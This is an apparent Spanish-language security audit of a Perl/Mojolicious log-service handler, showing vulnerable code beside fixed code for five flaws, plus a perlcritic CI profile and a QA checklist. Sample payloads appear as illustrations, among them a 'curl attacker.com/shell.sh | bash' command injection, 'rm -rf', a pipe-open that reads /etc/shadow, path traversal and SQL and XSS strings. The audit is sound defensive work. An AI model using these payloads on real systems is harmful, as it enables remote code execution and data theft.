Informe de Seguridad · Perl

LogTracker Pro — Auditoria v2.0

Revision de seguridad de lib/LogTracker/Handler.pm antes del lanzamiento
Cliente
LogTracker Pro SaaS
Fecha
2026-06-18
Auditor
CULTIVA IA / Seguridad
Stack
Perl 5.36 + Mojo + DBI + PG
3
Criticas
4
Altas
2
Medias
12
Checks OK
Vulnerabilidades encontradas
Critica SQL Injection — Interpolacion directa en query DBI
Archivo: Handler.pm:47 CWE-89 SQLi
El parametro $service procedente de la query URL se interpola directamente en la sentencia SQL. Un atacante puede inyectar ' OR 1=1 -- y extraer toda la tabla de logs o ejecutar DDL con permisos suficientes.
✘ VULNERABLE
sub search_logs($dbh, $service) {
  my $sth = $dbh->prepare(
    "SELECT * FROM logs
     WHERE service = '$service'"
  );
  # si $service = "' OR 1=1 --"
  # devuelve TODOS los registros
  $sth->execute;
  return $sth->fetchall_arrayref({});
}
✔ CORREGIDO
sub search_logs($dbh, $service) {
  # Validar contra lista blanca primero
  my %ok = map { $_ => 1 }
    qw(auth api billing metrics);
  die "Servicio invalido\n"
    unless $ok{$service};
  my $sth = $dbh->prepare(
    'SELECT * FROM logs
     WHERE service = ?'  # ✓
  );
  $sth->execute($service);
  return $sth->fetchall_arrayref({});
}
Critica Command Injection — system() con forma string
Archivo: Handler.pm:83 CWE-78 RCE
El endpoint de diagnostico ejecuta system() en forma string con el nombre del host controlado por el usuario. Payload prod-db; curl attacker.com/shell.sh | bash da ejecucion remota de codigo.
✘ VULNERABLE
sub ping_host($host) {
  # forma string → shell expansion
  system("ping -c 3 $host");
  # $host = "8.8.8.8; rm -rf /tmp"
  # → ejecuta ambos comandos!
}
✔ CORREGIDO
sub ping_host($host) {
  # Validar formato IP/hostname
  if ($host =~ /^([\w.-]{1,253})$/) {
    $host = $1;  # untaint
  } else { die "Host invalido\n" }
  # forma lista → sin shell
  system('ping', '-c', '3', $host)
    == 0 or die "ping fallo\n";
}
Critica Path Traversal — open() dos argumentos
Archivo: Handler.pm:61 CWE-22 Path Traversal
La descarga de logs usa open($fh, $path) en forma de dos argumentos. Si $path = "|cat /etc/passwd|", Perl abre una tuberia y ejecuta el comando. Ademas, ../../../etc/passwd lee archivos fuera del directorio permitido.
✘ VULNERABLE
sub download_log($filename) {
  my $path = "/var/log/app/$filename";
  # dos args → peligroso
  open my $fh, $path;
  # "|cat /etc/shadow|" → RCE
  # "../../etc/hosts"  → traversal
  local $/;
  return <$fh>;
}
✔ CORREGIDO
use Cwd qw(realpath);
use File::Spec;
sub download_log($filename) {
  # solo a-z, digits, guion, punto
  if ($filename =~ /^([a-z0-9._-]+)$/i)
    { $filename = $1 }
  else { die "Nombre invalido\n" }
  my $base = realpath('/var/log/app');
  my $real = realpath(
    File::Spec->catfile($base,$filename))
    // die "No existe\n";
  die "Traversal bloqueado\n"
    unless $real =~ /^\Q$base\E\//;
  open my $fh, '<:encoding(UTF-8)',
    $real or die "$!\n";
  local $/; return <$fh>;
}
Alta XSS — salida HTML sin encode en plantilla Mojo
Archivo: templates/logs/list.html.ep:23 CWE-79
El campo service_name (introducido por el usuario) se renderiza con <%== %> en lugar de <%= %>, saltando el auto-escape de Mojolicious. Un atacante puede almacenar <script>document.location='...'</script>.
✘ VULNERABLE
<!-- templates/logs/list.html.ep -->
<td>
  <%== $log->{service_name} %>
  <!-- raw output, sin escape -->
</td>
<td><%== $log->{message} %></td>
✔ CORREGIDO
<!-- templates/logs/list.html.ep -->
<td>
  <%= $log->{service_name} %>
  <!-- auto-escaped por Mojo -->
</td>
<td><%= $log->{message} %></td>
<!-- O en Perl directo: -->
# use HTML::Entities qw(encode_entities);
# encode_entities($log->{message})
Alta ReDoS — regex anidada en validacion de timestamp
Archivo: Handler.pm:31 CWE-400
El patron /^(\d+[-\/.]?)+$/ tiene cuantificadores anidados. Con una entrada de ~30 digitos seguida de un caracter invalido, el backtracking es exponencial y puede colgar el worker de Mojolicious varios segundos (DoS).
✘ VULNERABLE — ReDoS
sub validate_ts($ts) {
  # cuantificadores anidados!
  if ($ts =~ /^(\d+[-\/.]?)+$/) {
    return $1;
  }
  die "Timestamp invalido\n";
}
# "12345678901234567890!" → O(2^n)
✔ CORREGIDO
sub validate_ts($ts) {
  # patron fijo, sin anidado
  if ($ts =~
    /^(\d{4}-\d{2}-\d{2}(?:[T ]\d{2}:\d{2}:\d{2})?)$/
  ) {
    return $1;  # untainted
  }
  die "Timestamp invalido\n";
}
# O(n) garantizado
Configuracion perlcritic para CI/CD
📄 .perlcriticrc — colocar en la raiz del repositorio
# LogTracker Pro — perlcritic security profile
# Ejecutar: perlcritic --severity 3 --theme security lib/ || exit 1

severity = 3
theme    = security + core

# CRITICO: exige tres argumentos en open()
[InputOutput::RequireThreeArgOpen]
severity = 5

# CRITICO: prohíbe open() con dos argumentos
[InputOutput::ProhibitTwoArgOpen]
severity = 5

# CRITICO: prohíbe eval con string (RCE)
[BuiltinFunctions::ProhibitStringyEval]
severity = 5

# CRITICO: exige taint checking en scripts CGI/web
[Modules::RequireTaintChecking]
severity = 5

# CRITICO: prohíbe filehandles bareword
[InputOutput::ProhibitBarewordFileHandles]
severity = 5

# ALTO: prohíbe backticks sin captura (usa IPC::Run3)
[InputOutput::ProhibitBacktickOperators]
severity = 4

# ALTO: exige chequear valor de retorno de syscalls
[InputOutput::RequireCheckedSyscalls]
functions = :builtins
severity  = 4

# MEDIO: no usar variables globales sin declarar
[Variables::ProhibitPackageVars]
severity = 3

# MEDIO: exige use strict + use warnings
[TestingAndDebugging::RequireUseStrict]
severity = 4
[TestingAndDebugging::RequireUseWarnings]
severity = 3
Integracion en GitHub Actions: Anadir como step tras las pruebas: perlcritic --severity 4 --theme security --quiet lib/ || exit 1
Resumen de riesgos
# Vulnerabilidad Ubicacion Tipo Severidad Esfuerzo fix
1 SQL Injection en search_logs() Handler.pm:47 CWE-89 Critica Bajo — 1 linea
2 Command Injection en ping_host() Handler.pm:83 CWE-78 Critica Bajo — forma lista
3 Path Traversal en download_log() Handler.pm:61 CWE-22 Critica Medio — realpath
4 XSS stored en template Mojo list.html.ep:23 CWE-79 Alta Bajo — %> correcto
5 ReDoS en validate_ts() Handler.pm:31 CWE-400 Alta Bajo — regex fija
6 Sin cabeceras de seguridad HTTP app.pl startup CWE-693 Alta Bajo — Mojo hook
7 Versiones de modulos CPAN sin fijar cpanfile Supply Chain Alta Medio — pin vers.
8 Mensajes de error con stack trace al cliente Handler.pm:99 CWE-209 Media Bajo — log interno
9 Falta CSRF token en formularios POST templates/* CWE-352 Media Medio — plugin Mojo
Checklist de seguridad para QA — pre-despliegue v2.0
Todas las queries DBI usan ? como placeholder; ninguna interpola variables en SQL
Critica
Todas las llamadas system()/exec() usan forma de lista, no string
Critica
Todos los open() usan tres argumentos con modo explicito ('<:encoding(UTF-8)')
Critica
Scripts CGI legacy tienen flag -T (taint mode) y sanean $ENV{PATH} al inicio
Critica
Las plantillas Mojolicious usan <%= %> (auto-escape) en lugar de <%== %> para datos de usuario
Alta
Hook after_dispatch en Mojo envia CSP, X-Frame-Options, HSTS y X-Content-Type-Options
Alta
Rutas con estado mutante (POST/PUT/DELETE) validan CSRF token via Mojolicious::Plugin::CSRFProtect
Alta
Versiones de DBI, Mojolicious, Crypt::URandom y demas modulos criticos estan fijadas en cpanfile
Alta
Los errores internos se loguean en fichero/Sentry; el cliente solo recibe codigo de referencia anonimo
Media
Expresiones regulares sobre input externo no tienen cuantificadores anidados; se prueban con cadenas adversariales
Media
Descargas de ficheros validan con realpath() que la ruta resuelta quede dentro del directorio base
Critica
perlcritic --severity 4 --theme security lib/ pasa sin errores en CI antes del merge a main
CI/CD